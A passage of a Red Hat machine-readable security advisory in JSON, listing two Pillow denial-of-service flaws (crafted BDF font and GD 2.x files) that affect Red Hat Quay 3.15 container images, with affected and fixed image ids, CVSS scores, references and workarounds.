            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:981e303e898ab97986d85c3c6b208c100b7a7f605c3309702dc69f911a95a9b3_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-bundle@sha256:7a55c856f4103814c14f4d650ea89fc0ba2088d46ea7c315264622dc0d65e89a_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:071d056fda0fe4546be5963d9b193807c3b88b7681cc1c1cb77a5364c05d2c51_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:1ec8ddeef7aa52dcb522cec577cf55c72dfc6f9945aa52f3fa770ec01e6e20e2_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:9021e49a61ca01bdbc7b07ca0bcbf87d3675eeee987ed4ec8972d187849e5dd3_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-bundle@sha256:c9e64e04bd56e8a0eb7378103375222982a070b2dba5a433de497ac7b756bf49_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:3ee122ba0a8d98edc7447ade746fc8d3b97a835f267ac3d18b4bc22e4fdbea80_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:8a594f76497e36abdee27529905e5fa437eb4fa4e8e1267b7e0ed0328b8ed55e_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:e07cd66b79aa5e342e621feab192e9791f2ccc28ab48bb63d08e73d29c631a50_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:3773976a2937e59ee577d2f5c73f19b8204cc5347e23d2ae4cdd70759189d4f5_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:840b0af68ff3b06d1f4195e3bde1a60019994c6255d9622131ec2950c8aad50e_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:bdfd5823d00ece5e608428350741629d132351a6789cdd042d07dbb4fd1f11a6_s390x"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "python-pillow: Pillow: Denial of Service via excessive memory allocation when processing font files"
    },
    {
      "cve": "CVE-2026-55379",
      "cwe": {
        "id": "CWE-770",
        "name": "Allocation of Resources Without Limits or Throttling"
      },
      "discovery_date": "2026-07-06T20:01:29.922515+00:00",
      "flags": [
        {
          "label": "vulnerable_code_not_present",
          "product_ids": [
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:8e11b087f99de92f6f135ec4d3567c7a9001cb9f806bcc0de5c1ea00f81ad41b_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:a2eb7829ecf57d4a1a3a331d056a5fa0f7d3469c5cc096c5d76d7e915f52b857_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:f62019f75e49598f7b973d684711efc494dccddf8fb82d27f2f80766206d6ef4_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-bundle@sha256:33cc57d4b94be27402c910f3a88c96704af9a316128af9c10b35d8b951b897cd_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:035153582af7ad684123e474177f77ed9549dd410d222d16c4102022fea1de2f_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:a909c0671f973962d482ed3a66886e37ec086c7e44502a54c6fefb065507c47f_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:f2f05ee1f01e92185583dfc63ca09adafadae8701ccd0a14098c2704b6273bce_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-qemu-rhcos-rhel8@sha256:2f5ec68c7c5e095b913089117a0df99420259950e50b3b1ee3263ca23f63be7b_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:4e324568117f52512ec8b3e960aa5766ddea77f2dc3ac96c8f312c2ba94807ab_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:7c322657021d03c5f452543214c39a7c9e0061e5d4fad0b4fdf550fbfb23defd_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:981e303e898ab97986d85c3c6b208c100b7a7f605c3309702dc69f911a95a9b3_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-bundle@sha256:7a55c856f4103814c14f4d650ea89fc0ba2088d46ea7c315264622dc0d65e89a_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:071d056fda0fe4546be5963d9b193807c3b88b7681cc1c1cb77a5364c05d2c51_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:1ec8ddeef7aa52dcb522cec577cf55c72dfc6f9945aa52f3fa770ec01e6e20e2_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:9021e49a61ca01bdbc7b07ca0bcbf87d3675eeee987ed4ec8972d187849e5dd3_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-bundle@sha256:c9e64e04bd56e8a0eb7378103375222982a070b2dba5a433de497ac7b756bf49_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:3ee122ba0a8d98edc7447ade746fc8d3b97a835f267ac3d18b4bc22e4fdbea80_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:8a594f76497e36abdee27529905e5fa437eb4fa4e8e1267b7e0ed0328b8ed55e_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:e07cd66b79aa5e342e621feab192e9791f2ccc28ab48bb63d08e73d29c631a50_amd64"
          ]
        }
      ],
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2497452"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in Pillow, a Python imaging library. This vulnerability allows a remote attacker to cause a Denial of Service (DoS) by providing a specially crafted BDF font file. The library\u0027s image processing function fails to properly validate dimensions from the font file, bypassing a critical security check designed to prevent excessive memory usage. This oversight can lead to the system consuming an unreasonable amount of memory, making it unavailable to legitimate users.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "python-pillow: Pillow: Denial of Service via crafted BDF font file",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "A flaw was found in the Pillow Python imaging library. The BDF font file parser passes attacker-controlled dimensions to Image.new() without decompression bomb validation, allowing excessive memory allocation and denial of service.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:3773976a2937e59ee577d2f5c73f19b8204cc5347e23d2ae4cdd70759189d4f5_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:840b0af68ff3b06d1f4195e3bde1a60019994c6255d9622131ec2950c8aad50e_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:bdfd5823d00ece5e608428350741629d132351a6789cdd042d07dbb4fd1f11a6_s390x"
        ],
        "known_not_affected": [
          "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:8e11b087f99de92f6f135ec4d3567c7a9001cb9f806bcc0de5c1ea00f81ad41b_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:a2eb7829ecf57d4a1a3a331d056a5fa0f7d3469c5cc096c5d76d7e915f52b857_s390x",
          "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:f62019f75e49598f7b973d684711efc494dccddf8fb82d27f2f80766206d6ef4_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-bundle@sha256:33cc57d4b94be27402c910f3a88c96704af9a316128af9c10b35d8b951b897cd_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:035153582af7ad684123e474177f77ed9549dd410d222d16c4102022fea1de2f_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:a909c0671f973962d482ed3a66886e37ec086c7e44502a54c6fefb065507c47f_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:f2f05ee1f01e92185583dfc63ca09adafadae8701ccd0a14098c2704b6273bce_s390x",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-qemu-rhcos-rhel8@sha256:2f5ec68c7c5e095b913089117a0df99420259950e50b3b1ee3263ca23f63be7b_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:4e324568117f52512ec8b3e960aa5766ddea77f2dc3ac96c8f312c2ba94807ab_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:7c322657021d03c5f452543214c39a7c9e0061e5d4fad0b4fdf550fbfb23defd_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:981e303e898ab97986d85c3c6b208c100b7a7f605c3309702dc69f911a95a9b3_s390x",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-bundle@sha256:7a55c856f4103814c14f4d650ea89fc0ba2088d46ea7c315264622dc0d65e89a_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:071d056fda0fe4546be5963d9b193807c3b88b7681cc1c1cb77a5364c05d2c51_s390x",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:1ec8ddeef7aa52dcb522cec577cf55c72dfc6f9945aa52f3fa770ec01e6e20e2_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:9021e49a61ca01bdbc7b07ca0bcbf87d3675eeee987ed4ec8972d187849e5dd3_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-bundle@sha256:c9e64e04bd56e8a0eb7378103375222982a070b2dba5a433de497ac7b756bf49_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:3ee122ba0a8d98edc7447ade746fc8d3b97a835f267ac3d18b4bc22e4fdbea80_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:8a594f76497e36abdee27529905e5fa437eb4fa4e8e1267b7e0ed0328b8ed55e_s390x",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:e07cd66b79aa5e342e621feab192e9791f2ccc28ab48bb63d08e73d29c631a50_amd64"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-55379"
        },
        {
          "category": "external",
          "summary": "RHBZ#2497452",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2497452"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-55379",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-55379"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-55379",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55379"
        },
        {
          "category": "external",
          "summary": "https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst",
          "url": "https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst"
        },
        {
          "category": "external",
          "summary": "https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d",
          "url": "https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d"
        },
        {
          "category": "external",
          "summary": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-45hq-cxwh-f6vc",
          "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-45hq-cxwh-f6vc"
        }
      ],
      "release_date": "2026-07-06T18:52:11.633000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-07-30T20:01:08+00:00",
          "details": "Before applying this update, make sure all previously released errata relevant\nto your system have been applied.\n\nFor details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
          "product_ids": [
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:3773976a2937e59ee577d2f5c73f19b8204cc5347e23d2ae4cdd70759189d4f5_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:840b0af68ff3b06d1f4195e3bde1a60019994c6255d9622131ec2950c8aad50e_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:bdfd5823d00ece5e608428350741629d132351a6789cdd042d07dbb4fd1f11a6_s390x"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:48933"
        },
        {
          "category": "workaround",
          "details": "Do not load BDF font files from untrusted sources. Applications that only process standard image formats (PNG, JPEG, etc.) and do not use BdfFontFile or ImageFont.load() with BDF files are not affected.",
          "product_ids": [
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:8e11b087f99de92f6f135ec4d3567c7a9001cb9f806bcc0de5c1ea00f81ad41b_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:a2eb7829ecf57d4a1a3a331d056a5fa0f7d3469c5cc096c5d76d7e915f52b857_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:f62019f75e49598f7b973d684711efc494dccddf8fb82d27f2f80766206d6ef4_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-bundle@sha256:33cc57d4b94be27402c910f3a88c96704af9a316128af9c10b35d8b951b897cd_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:035153582af7ad684123e474177f77ed9549dd410d222d16c4102022fea1de2f_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:a909c0671f973962d482ed3a66886e37ec086c7e44502a54c6fefb065507c47f_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:f2f05ee1f01e92185583dfc63ca09adafadae8701ccd0a14098c2704b6273bce_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-qemu-rhcos-rhel8@sha256:2f5ec68c7c5e095b913089117a0df99420259950e50b3b1ee3263ca23f63be7b_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:4e324568117f52512ec8b3e960aa5766ddea77f2dc3ac96c8f312c2ba94807ab_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:7c322657021d03c5f452543214c39a7c9e0061e5d4fad0b4fdf550fbfb23defd_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:981e303e898ab97986d85c3c6b208c100b7a7f605c3309702dc69f911a95a9b3_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-bundle@sha256:7a55c856f4103814c14f4d650ea89fc0ba2088d46ea7c315264622dc0d65e89a_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:071d056fda0fe4546be5963d9b193807c3b88b7681cc1c1cb77a5364c05d2c51_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:1ec8ddeef7aa52dcb522cec577cf55c72dfc6f9945aa52f3fa770ec01e6e20e2_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:9021e49a61ca01bdbc7b07ca0bcbf87d3675eeee987ed4ec8972d187849e5dd3_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-bundle@sha256:c9e64e04bd56e8a0eb7378103375222982a070b2dba5a433de497ac7b756bf49_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:3ee122ba0a8d98edc7447ade746fc8d3b97a835f267ac3d18b4bc22e4fdbea80_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:8a594f76497e36abdee27529905e5fa437eb4fa4e8e1267b7e0ed0328b8ed55e_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:e07cd66b79aa5e342e621feab192e9791f2ccc28ab48bb63d08e73d29c631a50_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:3773976a2937e59ee577d2f5c73f19b8204cc5347e23d2ae4cdd70759189d4f5_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:840b0af68ff3b06d1f4195e3bde1a60019994c6255d9622131ec2950c8aad50e_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:bdfd5823d00ece5e608428350741629d132351a6789cdd042d07dbb4fd1f11a6_s390x"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:8e11b087f99de92f6f135ec4d3567c7a9001cb9f806bcc0de5c1ea00f81ad41b_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:a2eb7829ecf57d4a1a3a331d056a5fa0f7d3469c5cc096c5d76d7e915f52b857_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:f62019f75e49598f7b973d684711efc494dccddf8fb82d27f2f80766206d6ef4_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-bundle@sha256:33cc57d4b94be27402c910f3a88c96704af9a316128af9c10b35d8b951b897cd_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:035153582af7ad684123e474177f77ed9549dd410d222d16c4102022fea1de2f_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:a909c0671f973962d482ed3a66886e37ec086c7e44502a54c6fefb065507c47f_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:f2f05ee1f01e92185583dfc63ca09adafadae8701ccd0a14098c2704b6273bce_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-qemu-rhcos-rhel8@sha256:2f5ec68c7c5e095b913089117a0df99420259950e50b3b1ee3263ca23f63be7b_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:4e324568117f52512ec8b3e960aa5766ddea77f2dc3ac96c8f312c2ba94807ab_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:7c322657021d03c5f452543214c39a7c9e0061e5d4fad0b4fdf550fbfb23defd_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:981e303e898ab97986d85c3c6b208c100b7a7f605c3309702dc69f911a95a9b3_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-bundle@sha256:7a55c856f4103814c14f4d650ea89fc0ba2088d46ea7c315264622dc0d65e89a_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:071d056fda0fe4546be5963d9b193807c3b88b7681cc1c1cb77a5364c05d2c51_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:1ec8ddeef7aa52dcb522cec577cf55c72dfc6f9945aa52f3fa770ec01e6e20e2_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:9021e49a61ca01bdbc7b07ca0bcbf87d3675eeee987ed4ec8972d187849e5dd3_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-bundle@sha256:c9e64e04bd56e8a0eb7378103375222982a070b2dba5a433de497ac7b756bf49_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:3ee122ba0a8d98edc7447ade746fc8d3b97a835f267ac3d18b4bc22e4fdbea80_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:8a594f76497e36abdee27529905e5fa437eb4fa4e8e1267b7e0ed0328b8ed55e_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:e07cd66b79aa5e342e621feab192e9791f2ccc28ab48bb63d08e73d29c631a50_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:3773976a2937e59ee577d2f5c73f19b8204cc5347e23d2ae4cdd70759189d4f5_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:840b0af68ff3b06d1f4195e3bde1a60019994c6255d9622131ec2950c8aad50e_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:bdfd5823d00ece5e608428350741629d132351a6789cdd042d07dbb4fd1f11a6_s390x"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "python-pillow: Pillow: Denial of Service via crafted BDF font file"
    },
    {
      "cve": "CVE-2026-55380",
      "cwe": {
        "id": "CWE-1285",
        "name": "Improper Validation of Specified Index, Position, or Offset in Input"
      },
      "discovery_date": "2026-07-06T20:01:42.245051+00:00",
      "flags": [
        {
          "label": "vulnerable_code_not_present",
          "product_ids": [
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:8e11b087f99de92f6f135ec4d3567c7a9001cb9f806bcc0de5c1ea00f81ad41b_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:a2eb7829ecf57d4a1a3a331d056a5fa0f7d3469c5cc096c5d76d7e915f52b857_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:f62019f75e49598f7b973d684711efc494dccddf8fb82d27f2f80766206d6ef4_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-bundle@sha256:33cc57d4b94be27402c910f3a88c96704af9a316128af9c10b35d8b951b897cd_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:035153582af7ad684123e474177f77ed9549dd410d222d16c4102022fea1de2f_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:a909c0671f973962d482ed3a66886e37ec086c7e44502a54c6fefb065507c47f_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:f2f05ee1f01e92185583dfc63ca09adafadae8701ccd0a14098c2704b6273bce_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-qemu-rhcos-rhel8@sha256:2f5ec68c7c5e095b913089117a0df99420259950e50b3b1ee3263ca23f63be7b_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:4e324568117f52512ec8b3e960aa5766ddea77f2dc3ac96c8f312c2ba94807ab_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:7c322657021d03c5f452543214c39a7c9e0061e5d4fad0b4fdf550fbfb23defd_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:981e303e898ab97986d85c3c6b208c100b7a7f605c3309702dc69f911a95a9b3_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-bundle@sha256:7a55c856f4103814c14f4d650ea89fc0ba2088d46ea7c315264622dc0d65e89a_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:071d056fda0fe4546be5963d9b193807c3b88b7681cc1c1cb77a5364c05d2c51_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:1ec8ddeef7aa52dcb522cec577cf55c72dfc6f9945aa52f3fa770ec01e6e20e2_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:9021e49a61ca01bdbc7b07ca0bcbf87d3675eeee987ed4ec8972d187849e5dd3_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-bundle@sha256:c9e64e04bd56e8a0eb7378103375222982a070b2dba5a433de497ac7b756bf49_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:3ee122ba0a8d98edc7447ade746fc8d3b97a835f267ac3d18b4bc22e4fdbea80_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:8a594f76497e36abdee27529905e5fa437eb4fa4e8e1267b7e0ed0328b8ed55e_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:e07cd66b79aa5e342e621feab192e9791f2ccc28ab48bb63d08e73d29c631a50_amd64"
          ]
        }
      ],
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2497455"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in Pillow, a Python imaging library. A remote attacker could exploit this vulnerability by providing a specially crafted GD 2.x image file. The GdImageFile._open() function reads image dimensions without proper validation, leading to excessive memory allocation. This can result in a Denial of Service (DoS) due to C-heap exhaustion.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "python-pillow: Pillow: Denial of Service via crafted GD 2.x image file",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "A denial-of-service vulnerability was found in Pillow\u0027s GdImageFile plugin. The GdImageFile._open() function reads image dimensions from GD 2.x file headers and stores them without performing a decompression bomb check. A crafted .gd file of approximately 1 KB can trigger an unchecked 4.3 GB C-heap allocation, potentially crashing the process or exhausting memory on systems with insufficient resources. This issue is fixed in Pillow 12.3.0.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:3773976a2937e59ee577d2f5c73f19b8204cc5347e23d2ae4cdd70759189d4f5_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:840b0af68ff3b06d1f4195e3bde1a60019994c6255d9622131ec2950c8aad50e_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:bdfd5823d00ece5e608428350741629d132351a6789cdd042d07dbb4fd1f11a6_s390x"
        ],
        "known_not_affected": [
          "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:8e11b087f99de92f6f135ec4d3567c7a9001cb9f806bcc0de5c1ea00f81ad41b_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:a2eb7829ecf57d4a1a3a331d056a5fa0f7d3469c5cc096c5d76d7e915f52b857_s390x",
          "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:f62019f75e49598f7b973d684711efc494dccddf8fb82d27f2f80766206d6ef4_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-bundle@sha256:33cc57d4b94be27402c910f3a88c96704af9a316128af9c10b35d8b951b897cd_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:035153582af7ad684123e474177f77ed9549dd410d222d16c4102022fea1de2f_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:a909c0671f973962d482ed3a66886e37ec086c7e44502a54c6fefb065507c47f_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:f2f05ee1f01e92185583dfc63ca09adafadae8701ccd0a14098c2704b6273bce_s390x",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-qemu-rhcos-rhel8@sha256:2f5ec68c7c5e095b913089117a0df99420259950e50b3b1ee3263ca23f63be7b_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:4e324568117f52512ec8b3e960aa5766ddea77f2dc3ac96c8f312c2ba94807ab_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:7c322657021d03c5f452543214c39a7c9e0061e5d4fad0b4fdf550fbfb23defd_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:981e303e898ab97986d85c3c6b208c100b7a7f605c3309702dc69f911a95a9b3_s390x",
